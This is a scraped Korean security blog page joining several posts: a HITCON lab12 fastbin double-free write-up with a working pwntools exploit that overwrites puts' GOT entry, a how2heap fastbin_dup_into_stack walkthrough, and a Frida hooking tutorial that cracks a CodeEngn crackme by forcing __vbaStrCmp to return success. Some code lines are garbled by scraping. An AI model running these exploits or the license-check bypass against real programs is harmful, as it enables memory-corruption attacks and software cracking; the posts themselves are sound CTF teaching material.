1. 시작하기전에...

저번 포스팅(http://bachs.tistory.com/entry/HITCON-Training-lab12-Fastbin-Attack?category=961837)에 이어 fastbin attack에 대해 포스팅 하려고합니다.

이번 글에서는 HITCON Training lab12를 풀어보겠습니다.



2. 분석

문제에서 주어진 소스코드 secretgarden.c 를 살펴보겠습니다. 소스코드가 길어 필요한 부분만 분석하겠습니다.(환경은 64bit 입니다.)


1
2
3
4
5
6
7
8
9
struct flower{
    int vaild ;             //8byte
    char *name ;            //8byte
    char color[24] ;        //24byte
};
                            //40byte
 
struct flower* flowerlist[100];    //list of flowers
unsigned int flowercount = 0;     //count of flowers 



먼저 flower 구조체가 있습니다. flower구조체는 꽃(flower구조체)의 유효성을 검증해주는 valid 변수가 있고, 꽃의 이름을 입력받는 변수 name이 있습니다.

마지막으로 꽃의 색을 저장하는 24바이트짜리 char 배열 color 변수를 멤버로합니다. 이 구조체의 총 크기는 40바이트입니다.


전역변수로는 전체 꽃의 개 수를 세기 위한 flowercount가 있고, 꽃들을 관리할 수 있는 flower * 배열이 있습니다.


다음은 함수들을 살펴보도록 하겠습니다. 모든 함수를 다루기엔 내용이 너무 많아, 취약점이 발생 할 수 있는 함수인 add()와 del()만 살펴보겠습니다.


int add()

=> add함수의 동작은 아래와 같습니다.  

전역변수 flowercount가 100보다 크면 "The garden is overflow" 출력합니다.

flowercount가 100보다 작으면

- 추가 할 flower구조체에 메모리를 할당하고 초기화 합니다.

flower name 의 크기를 입력 받은 후 크기만큼 buf 메모리를 할당합니다.

- flower name을 입력받아 buf에 저장합니다.

- flower 구조체 name 멤버변수에 buf 포인터를 대입합니다.

- flower 구조체 color 멤버변수에 입력 받습니다.

- flower 구조체 valid 변수 1로 setting합니다.

- 전역변수 flowerlist를 검색하여 비어있는 곳에 생성한 flower 를 추가합니다.

- 전역변수 flowercount를 1 증가시킨 후, "Successful !" 출력합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int add(){
    struct flower *newflower = NULL ;
    char *buf = NULL ;
    unsigned size =0;
    unsigned index ;
    if(flowercount < 100){
        newflower = malloc(sizeof(struct flower));
        memset(newflower,0,sizeof(struct flower));
        printf("Length of the name :");
        if(scanf("%u",&size)== EOF) exit(-1);
        buf = (char*)malloc(size);
        if(!buf){
            puts("Alloca error !!");
            exit(-1);
        }
        printf("The name of flower :");
        read(0,buf,size);
        newflower->name = buf ;
        printf("The color of the flower :");
        scanf("%23s",newflower->color);
        newflower->vaild = 1 ;
        for(index = 0 ; index < 100 ; index++ ){
            if(!flowerlist[index]){
                flowerlist[index] = newflower ;
                break ;
            }
        }
        flowercount++ ;
        puts("Successful !");
    }else{
        puts("The garden is overflow");
    }
}



int del()

flowercount가 0이면 "No flower in the garden" 출력합니다.

flowercount가 0이 아니면 "Which flower do you want to remove from the garden:" 를 출력 한 후 지울 index를 입력받습니다.

  입력받은 인덱스의 유효성 검사(0 ~ 100의 범위 외) 이거나 해당 인덱스에 값이 없는 경우 

- "Invalid choice" 출력 후 프로그램을 종료합니다.

위의 경우가 아니면

- 해당 인덱스의 구조체 valid 멤버변수를 0으로 setting합니다.

- 해당 인덱스의 구조체 name 멤버변수의 메모리를 해제합니다.

- "Successful" 출력

- 구조체는 메모리 해제하지 않으며, flowerlist에서도 지우지 않습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int del(){
    unsigned int index ;
    if(!flowercount){
        puts("No flower in the garden");
    }else{
        printf("Which flower do you want to remove from the garden:");
        scanf("%d",&index);
        if(index < 0 ||index >= 100 || !flowerlist[index]){
            puts("Invalid choice");
            return 0 ;
        }
        (flowerlist[index])->vaild = 0 ;
        free((flowerlist[index])->name);
        puts("Successful");
    }
}



fastbin attack이 가능한 조건은 아래와 같습니다.


- 동일한 크기의 Fast chunk의 할당과 해제가 자유로워야한다.

- 공격자에 의해 해제된 Fast chunk를 한번 더 해제 할 수 있어야 한다.(Double Free Bug)

- 공격자에 의해 할당된 Fast chunk 영역에 값을 저장 할 수 있어야 한다.

- 할당 받고자 하는 메모리 영역에 해제된 Fast chunk의 크기 값이 저장되어 있어야한다.


소스코드를 분석해 보았을 때, add()함수 내에서 크기 값을 입력하여 Fast chunk의 할당이 자유롭고 할당된 메모리 내에 값을 쓸 수 있으며 

del()함수를 통해 메모리 해제 역시 자유롭습니다. 앞선 포스팅에서 봤듯이 메모리를 할당한 후 a -> b -> a의 형태로 메모리 해제를 하면,

fastbin attack이 가능 할 것으로 보입니다.


3. Exploit 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
= process('./secretgarden')
 
def raiseflower(length,name,color):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)
    r.recvuntil(":")
    r.sendline(color)
 
def visit():
    r.recvuntil(":")
    r.sendline("2")
    
def remove(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
 
def clean():
    r.recvuntil(":")
    r.sendline("4")
    
magic = 0x400c7b 
fake_chunk = 0x601ffa
 
raiseflower(80,"tulip","red")#0
raiseflower(80,"rose","blue")#1
remove(0)
remove(1)
remove(0)
raiseflower(80,p64(fake_chunk),"blue")
raiseflower(80,"sunflower","red")
raiseflower(80,"bach","green")
raiseflower(80"a"*6 + p64(0+ p64(magic)*2 ,"red")#malloc in fake_chunk
 
r.interactive()



exploit 코드를 살펴보겠습니다.

코드의 메인 아이디어는 호출 하고 싶은 함수(magic)의 주소를 적어두고, 이 주소를 puts함수의 got에 써주어 exploit을 하려고합니다.


첫 번째로 35 ~ 39라인 에서 메모리를 두 개 할당 하여 a->b->a의 순서로 메모리를 해제하였습니다.

그리고 puts의 got(0x602020)에 써주기 위해 fake_chunk를 0x601ffa를 선정하였는데 이유는 80바이트(0x50) + chunk header(0x10)값이 적힌 곳

써주어야 하기 때문입니다. 이 부분이 이해가 안간다면 앞에 포스팅 한 글에서 chunk사이즈를 맞춰주어야 한다는 부분을 다시 보고오시기 바랍니다.


 


0x601ffa의 주소를 출력한 화면입니다. 0x601ffa + 0x8에 0xe150000000000060 값이 쓰여져 있습니다.

이 곳에 설명한대로라면 0x0000000000000060 값이 써져있어야 하지만 상위 바이트에 다른 값이 추가로 더 붙어있음을 알 수 있습니다.

운영체제에서 검사하는 메모리의 크기는 하위 4바이트를 이용해 확인하기 때문에 상위 4바이트에 있는 값은 무시할 수 있습니다.

이에 대해 자세한 내용은 http://veritas501.space/2017/05/23/HITCON-training%20writeup/ 의 lab12파트를 확인해주시기바랍니다.


따라서 0x601ffa를 fake_chunk의 주소로 선정해주어 메모리를 할당 받고 사용할 수 있는 주소는 0x60200a부터입니다.

0x602020에 값을 덮어쓰기 위해서는 0x602020 - 0x601ffa = 0x16(22) 이고, 따라서 앞의 dummy가 22바이트 필요합니다.


43라인에서 "a"*14 + p64(magic)*2 를 하여(6byte + 8byte + 16byte) 26byte를 써 magic함수가 0x602020에 써질 수 있도록

페이로드를 작성하였습니다.

 

끗!


  1. 123123 2019.01.14 18:04

    더미가 22필요한데 왜 a를 14개만 쓴거죠?

    • JSBach Bach 2019.01.15 00:03 신고

      앗 좋은 질문 감사합니다.
      익스플로잇 코드와 설명이 다른 부분이 있었네요
      익스플로잇 코드 43라인보면
      "a"*6 + p64(0) + p64(magic)*2 를 보냅니다 ㅠ

      익스플로잇 코드에서는
      a*6 = 6byte
      p64(0) = 8byte
      p64(magic)*2 = 16byte(dummy + 덮어쓸 주소)

      설명에서는
      a*14 = 14byte
      p64(magic)*2 = 16byte(dummy + 덮어쓸 주소)

      즉, magic이 두번인데, 더미와 실제 덮어쓰는 용도로 썼습니다. 정확도를 높이기위해서 이렇게 쓴것이고, 말씀하신대로 그냥 a*22로 해도 익스플로잇 될것 같네요 :)

1. 시작하기전에...

이번 문제에 대한 포스팅은 내용이 길어질 것 같아서 두 개로 분할해서 포스팅하려고합니다.

먼저 이 글에서는 Allocated Chunk(할당된 Heap)의 형태와 Free Chunk(해제된 Heap)을 알아본 후 how2heap의 예제를 통해 Fastbin Attack의 개념을 적어보려고합니다.

이후 다음 포스팅에서 HITCON Taining lab12의 문제의 라이트업을 쓰도록 하겠습니다.


1-1. Allocated Chunk

메모리가 할당이 되면 아래와 같은 모습을 같는 chunk가 생성됩니다.

맨 위에서부터 차례로 설명을 해보겠습니다. 32bit에서는 4byte, 64bit에서는 8byte로 메모리 상 자신 보다 이전의 chunk의 크기를

저장하는 prev_size필드가 존재합니다. 테스트 해본 결과 앞에 있는 chunk가 없다면 0으로 set되는 것을 확인하였습니다.


그 다음으로 오는 필드는 자기 자신의 크기를 기록합니다. 유저가 사용하는 영역뿐만 아니라 그림에 표현된 chunk 전체의 크기이며,

마지막 3bit는 이전 청크 혹은 현재 청크의 상태를 표현하기 위한 flag로써 사용하는데 자세한 내용은 생략하겠습니다.


위 두 필드를 지나면 사용자가 할당받아 사용하는 공간이 위치합니다. 그리고 마지막으로는 binlist상 다음에 존재하는 chunk의 크기가 기록됩니다.


OS 사용주소 라고 적어놓은 뜻은 binlist에서 관리되는 chunk의 주소를 표현하고 싶어서 저렇게 적어 놓았고,

User 사용주소 라고 적은 것은 실제로 유저가 메모리를 받을 때(malloc, calloc 등을 통해) 리턴 받는 주소라 User사용 주소로썼습니다.


 

1-2. Free Chunk

메모리가 해제된 Chunk는 Allocated Chunk와 비슷하지만 다른 형태를 갖습니다.

상위 두 필드는 같은 용도로써 유지되지만 User사용 영역이였던 곳이 binlist에서 앞 뒤 chunk를 가르키는 포인터 값이 저장 됩니다.

fastbin 같은 경우에는 single linked list이기때문에, forward pointer to next chunk in list(fd)영역에만 값이 쓰여지고 back pointer to next chunk in list(bk)는 필드는 존재하지만 값이 세팅 되지 않습니다.


size of chunk의 하위 3bit flag에 대한 내용을 포함한 더 자세한 사항은 아래 링크 첨부해 드립니다.

[참조] https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk.html (영문)

[참조] https://www.lazenca.net/pages/viewpage.action?pageId=1147929 (한글)


2. how2heap - fastbin_dup_into_stack


how2heap에 fastbin attack에 대한 내용을 코드로 설명을 한 것이 있어 이 것을 같이 보려고합니다.


아래는 fastbin_dup_into_stack.c 의 코드입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");
 
    unsigned long long stack_var;
 
    fprintf(stderr, "The address we want malloc() to return is %p.\n"8+(char *)&stack_var);
 
    fprintf(stderr, "Allocating 3 buffers.\n");
    int *= malloc(8);
    int *= malloc(8);
    int *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
 
    fprintf(stderr, "Freeing the first one...\n");
    free(a);
 
    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
 
    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);
 
    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
 
    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n"malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
 
    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *= (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n"malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n"malloc(8));
}


 

fastbin attack의 목적은 메모리 할당을 받는 공간을 우리가 원하는 곳으로 컨트롤 하기 위함입니다. 예를 들어 stack공간이라던지, got 테이블이라던지

원하는 공간에 메모리를 할당 받아서 사용할 수 있다는 것입니다.


14 ~ 16라인에서 세 개의 메모리를 할당 받았습니다. (a, b, c) 그 후 메모리 해제를 하는데 순서는 a -> b -> a로 해제를 합니다.

그 이유는 해제된 메모리를 연달아서 해제 할 수 없기 때문인데, fastbin에서는 binlist에 top에 있는 주소를 검사하여 해당 주소는 해제 할 수 없게 되어있습니다. 그래서 a를 두 번 해제하기 위해 a -> b -> a의 순서로 해제 하는 것입니다. 왜 a를 두번 해제 해야하는 지는 아래에서 다시 설명하겠습니다.


지금까지 진행 된 상황에서 fastbin list의 모습을 그려보도록 하겠습니다.



a와 b는 현재 free된 상태이니 Free Chunk의 구조를 가지게 될 것입니다. 또한 a, b, c는 크기가 작아 fastbin에 속하니 fastbin list이기 때문에 single linked list에 속하게 됩니다.


맨 처음 해제 된 a는 FD에 b의 주소를 가르키고 b의 FD는 a를 가리키는 모습이 됩니다. 이 상태에서 36 라인에서 부터 메모리를 다시 할당 하기 시작합니다. 


처음 메모리를 요청 받으면 a의 주소를 리턴해줍니다. 다음에 메모리를 요청 받았을 때 리턴해 줄 주소는 a의 FD에 적혀있는 b의 주소입니다.

다음 메모리를 요청 받으면 b의 주소를 리턴해줍니다. 다음에 메모리를 요청 받았을 때 리턴해 줄 주소는 b의 FD에 적혀있는 a의 주소입니다.


현재는 Tail쪽에 있는 a의 FD에는 값이 없습니다. 하지만 처음 메모리를 요청 했을 때 a를 리턴 받기 때문에 우리가 핸들링 할 수 있습니다.

메모리를 할당 받은 후 a의 FD에 우리가 원하는 주소 값을 써준다면 우리가 원하는 곳의 메모리를 할당 받을 수 있는 것입니다.

FD에 우리가 원하는 주소 값을 써주는 것은 특별한 테크닉이 필요한 것은 아닙니다. 왜냐하면 해제된 메모리의 FD필드는 할당받은 메모리의

contents에 해당하기 때문에 그저 주소 값을 적어주면 됩니다.


여기서 한 가지 놓치지말아야 할 점은 해당 공간에 size of chunk를 맞춰 주어야 한다는 것입니다.

이 예제에서는 stack_var = 0x20 이라는 것으로 size를 맞춰 주고있습니다.


64bit환경에서 a,b,c는 8바이트를 할당 받아서 chunk의 크기는 0x20 = 32byte입니다.

size of previous chunk = 8byte

size of chunk = 8byte

contents = 8byte

next chunk size = 8byte 로 최소 할당 사이즈입니다. (32bit환경은 16byte)


우리가 사용하고 싶은 주소 - 16byte를 a에 써주고, 우리가 사용하고 싶은 주소 - 8byte에 할당 받는 사이즈를 맞춰주는 사전작업을해야

원하는 공간에 메모리를 할당 받을 수 있습니다.  

이러한 이유로 48라인에서 stack_var의 주소 - 8byte로 d의 값을 지정하고 스택공간에 메모리를 할당 받게 한 것입니다.




끗!


=====

2018.02.27 prev_size관련 수정


지난번 iOS Hooking관련 포스팅을 진행하면서 Frida를 소개해드린 바 있습니다.

[링크] http://bachs.tistory.com/entry/iOS-Hooking2Frida?category=892887


전에 언급했던 것처럼 Frida는 iOS뿐만아니라 Android와 Windows에서도 활용할 수 있는데요, 오늘은 Windows에서 활용하는 방법에 대해서 

포스팅을 해보려고 합니다. 예제는 코드엔진의 Basic level03 문제를 이용하였습니다.

[링크] http://codeengn.com/challenges/basic/03


1. 분석

예제 프로그램을 실행하면, 영어인듯 하지만 영어는 아닌것으로 보이는 알럿이 뜹니다.


 

여기서 취소를 누르면 그대로 프로그램을 종료되고, 확인을 누르면 진행이 됩니다.





위의 알럿창에서 뭐라고 이야기했는지 정확히는 모르지만 실행결과를 보니 Regcode를 입력해서 인증을 하는 프로그램인듯 합니다.

더불어 이 예제의 목적은 Regcode를 모르는 상태에서 이 프로그램을 크래킹해내는 것이겠죠.


여기까지를 보고 예상해볼 수 있는 점은 입력 기대값이 있고, 입력값과 비교해서 성공/실패여부를 반환할 것이라는걸 알 수 있습니다.

그리고 이 예제 프로그램이 통신을 하지 않는 것으로 보이니 파일안에 입력 기대값이 존재하거나 로컬에 존재하는 어떤 파일안에 존재할 가능성 등을 

생각해 볼 수 있습니다.  


자세한 건 IDA로 열어서 imports subview를 한번 봅시다.



보다시피 MSVBVM50이라는 라이브러리에서만 참조하는 것으로 보이네요. 검색을 해보면 MSVBVM50.dll은 Visual Basic으로 개발된 프로그램이

참조하는 dll이라는 것을 알 수 있습니다. 또한 목록에서 볼때는 일단 fopen같은 함수가 보이지 않으니, 입력 기대값이 실행 바이너리 안에 존재할 가능성이

더 높아졌네요.


입력값과 입력기대값을 비교하기위해 문자열 비교함수를 사용했을 가능성이 크니 해당 함수를 기점으로 분석 포인트를 잡는 것이 좋을 것같습니다.

import 함수 목록 중 __vbaStrCmp를 포인트로 잡아 보겠습니다.



__vbaStrCmp 함수의 레퍼런스를 찾아보니 두 군데가 나오고 있습니다. 위의 화면은 두 곳 중 더 상위주소에 있는 곳으로 이동한 화면입니다.

__vbaStrCmp 함수를 호출하기전에 ebp-58과 "2G83G35Hs2"라는 문자열을 함수의 인자로 사용하기 위해 push해주고 있는 모습입니다.

이 것을 보고  ebp-58에 우리가 입력한 입력값이 존재하고 "2G83G35Hs2"가 입력 기대값임을 알 수 있습니다.



오, 기대 입력 값은 잘 찾은거 같네요! 하지만 이번에는 Windows후킹에대해 포스팅을 하는 거니까 후킹으로 풀어봅시다.

일단, 우리가 후킹을 걸 메서드는 MSVBVM50.dll 의 __vbaStrCmp()이고, 리턴 값을 조작해주면 될거 같아요.


2. 후킹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from __future__ import print_function
import frida
import sys
 
def on_message(message, data):
    print("[%s] => %s" % (message, data))
 
def main(target_process):
    session = frida.attach(target_process)
    #print([x.name for x in session.enumerate_modules()])
  
    script = session.create_script("""
    var baseAddr = Module.findBaseAddress('MSVBVM50.dll');
    console.log('MSVBVM50.dll baseAddr: ' + baseAddr);
    //"use strict";
    const __vbaStrCmp = Module.findExportByName("MSVBVM50.dll", "__vbaStrCmp");
    Interceptor.attach(__vbaStrCmp, {
        onEnter: function (args) {
            console.log('===============================================================================');
            console.log('[+] Called __vbaStrCmp!! [' + __vbaStrCmp + ']');
            console.log('[+] args[0] = [' + args[0] + ']');
            dumpAddr('args[0]', args[0], 0x16); 
            console.log('[+] args[1] = [' + args[1] + ']');
            dumpAddr('args[1]', args[1], 0x16);
        },
        // When function is finished
        onLeave: function (retval) {
            console.log('===============================================================================');
            
            /*
                It doesn't work !
            console.log('[+] (Origin) Returned from __vbaStrCmp: ' + typeof(retval));
            console.log('[+] (Origin) Returned from __vbaStrCmp: ' + retval);
            retval = 0;
            console.log('[+] (forgery) Returned from __vbaStrCmp: ' + typeof(retval));
            console.log('[+] (forgery) Returned from __vbaStrCmp: ' + retval);
            */

            this.context.eax = 0x0;
            console.log('Context information:');
            console.log('Context  : ' + JSON.stringify(this.context));
            //console.log('Return   : ' + this.returnAddress);
            //console.log('ThreadId : ' + this.threadId);
            //console.log('Depth    : ' + this.depth);
            //console.log('Errornr  : ' + this.err);
            console.log('===============================================================================');
        }
    });
    // Print out data array, which will contain de/encrypted data as output
    function dumpAddr(info, addr, size) {
        if (addr.isNull())
            return;
        console.log('Data dump ' + info + ' :');
        var buf = Memory.readByteArray(addr, size);
        // If you want color magic, set ansi to true
        console.log(hexdump(buf, { offset: 0, length: size, header: true, ansi: false }));
    }
    function resolveAddress(addr) {
        // Enter the base address of dll as seen in your favorite disassembler (here IDA)
        var idaBase = ptr('0x77EC0000');
        // Calculate offset in memory from base address in IDA database 
        var offset = ptr(addr).sub(idaBase);
        // Add current memory base address to offset of function to monitor 
        var result = baseAddr.add(offset); 
        // Write location of function in memory to console
        console.log('[+] New addr=' + result); 
        return result;
    }
""")
 
    script.on('message', on_message)
    script.load()
    print("[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.\n\n")
    sys.stdin.read()
    session.detach()
    
if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("this script needs pid or proc name :(")
        sys.exit(1)
 
    try:
        target_process = int(sys.argv[1])
    except ValueError:
        target_process = sys.argv[1]
    main(target_process)
cs

Frida공식 홈페이지를 방문하면 기본적인 틀에 대한 설명과 예제 코드를 볼 수 있습니다. 저 역시 아래 링크의 폼에서 수정을 하며 완성을 시켰습니다.

[링크] https://www.frida.re/docs/examples/windows/


2-1 후킹 메서드 주소 찾기

먼저, 해당 __vbaStrCmp 메서드 주소를 찾는 방법입니다.

var baseAddr = Module.findBaseAddress('MSVBVM50.dll');

const __vbaStrCmp = Module.findExportByName("MSVBVM50.dll", "__vbaStrCmp");


위 코드를 실행할 때는 python script_name.py [PID] 로 실행하게 됩니다. 프로세스를 타겟팅해서 attach 하는 것이지요

타겟 프로세스에서 로드되어있는 dll의 주소를 찾기 위해서는 findBaseAddress()를 사용하여 찾을 수 있습니다.


그리고 우리가 후킹을 걸기 위해 필요한 함수의 주소는 findExportByName("dll명", "함수명") 으로 찾을 수 있죠

따라서 const __vbaStrCmp = Module.findExportByName("MSVBVM50.dll", "__vbaStrCmp"); 이 코드가 실행되고 나면 __vbaStrCmp의 주소가

변수에 담기게 됩니다.


프로세스 내부에 존재하는 사용자 정의함수 같은 경우에는 var print_log = resolveAddress('0x0043FC34'); 와 같은 형식으로 얻어와야합니다.

resolveAddress()에 IDA에서 확인한 주소 값(sub_xxxxxxxx)을 인자로 전달해주고, resolveAddress함수 안에 idaBase변수에 IDA에서 사용한 베이스 주소를 입력해준 후 사용해야 합니다.


2-2 onEnter

타겟 함수에 제대로 attach가 되었다면 이제 값을 자유롭게 보고, (권한이 허용되는 한)조작할 수 있습니다.

1
2
3
4
5
6
7
8
9
onEnter: function (args) {
            console.log('===============================================================================');
            console.log('[+] Called __vbaStrCmp!! [' + __vbaStrCmp + ']');
            console.log('[+] args[0] = [' + args[0+ ']');
            dumpAddr('args[0]', args[0], 0x16); 
 
            console.log('[+] args[1] = [' + args[1+ ']');
            dumpAddr('args[1]', args[1], 0x16);
}
cs

onEnter에서는 args변수로 함수 인자 값들을 확인해 볼 수 있습니다. 지금은 두 인자 값이 포인터로 전달이 되기 때문에 hexdump를 떠서 

확인해보고있습니다.


2-3 onLeave

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
onLeave: function (retval) {
    console.log('===============================================================================');
            
    /*
    It doesn't work !
    console.log('[+] (Origin) Returned from __vbaStrCmp: ' + typeof(retval));
    console.log('[+] (Origin) Returned from __vbaStrCmp: ' + retval);
    retval = 0;
    console.log('[+] (forgery) Returned from __vbaStrCmp: ' + typeof(retval));
    console.log('[+] (forgery) Returned from __vbaStrCmp: ' + retval);
    */
    this.context.eax = 0x0;
    console.log('Context information:');
    console.log('Context  : ' + JSON.stringify(this.context));
    //console.log('Return   : ' + this.returnAddress);
    //console.log('ThreadId : ' + this.threadId);
    //console.log('Depth    : ' + this.depth);
    //console.log('Errornr  : ' + this.err);
    console.log('===============================================================================');
}
cs

__vbaStrCmp는 문자열 비교 결과 일치하는 경우 0을 리턴하고 다른경우 -1을 리턴하는 것으로 보입니다.

따라서 1차 적으로는 retval 을 0 으로 만들어 주었었는데요, 확인을 해보니 retval이 바뀌었지만 제대로 동작하지 않는 모습을 보였습니다.

왜인지는 모르겠어요ㅠㅠ


이후에 함수의 리턴값을 저장하는 eax의 값을 확인해보니 0xffffffff로 -1이 저장되고 있는 것을 확인하였고, 

this.context.eax = 0x0; 로 eax값을 0으로 만들어 준 후 정상적으로 크래킹된 것을 볼 수 있었습니다.



끗!

'Study > Windows' 카테고리의 다른 글

CVE-2017-8464 One Day분석 - 1  (0) 2019.03.24
Windows Hooking(Frida)  (5) 2018.01.30
  1. Juice 2018.10.05 14:09

    와 프리다 분석에 정말 많은 도움됐습니다. 감사합니다. 10000따봉 박고갑니다!

    • JSBach Bach 2018.10.27 00:02 신고

      감사합니다~
      최근에 알게된 것을 덧붙혀드리자면
      args는 stack에 있는 값을 가져오는 것같습니다. 콜 방식에 따라 인자 값을 레지스터에서 가져와야 할 수도있단 말이죠,

      return 값도 eax에 있는 값을 참조해서 뿌려주는 것 같습니다.

  2. Juice 2018.10.30 10:26

    저의경우 onLeave에서 retval=0; 을 하면 정상적으로 반환값이 변조되는데 context로 eai 변조할 수 있는건 처음 알았네요!
    다시 보다가 또 따봉드리고갑니다!

  3. Juice 2018.10.30 10:30

    아 저는 retval.replace(0); 으로 하였습니다!..

  4. bkseok 2020.11.24 00:31

    재미있는 글 매우 잘 보고 가여

+ Recent posts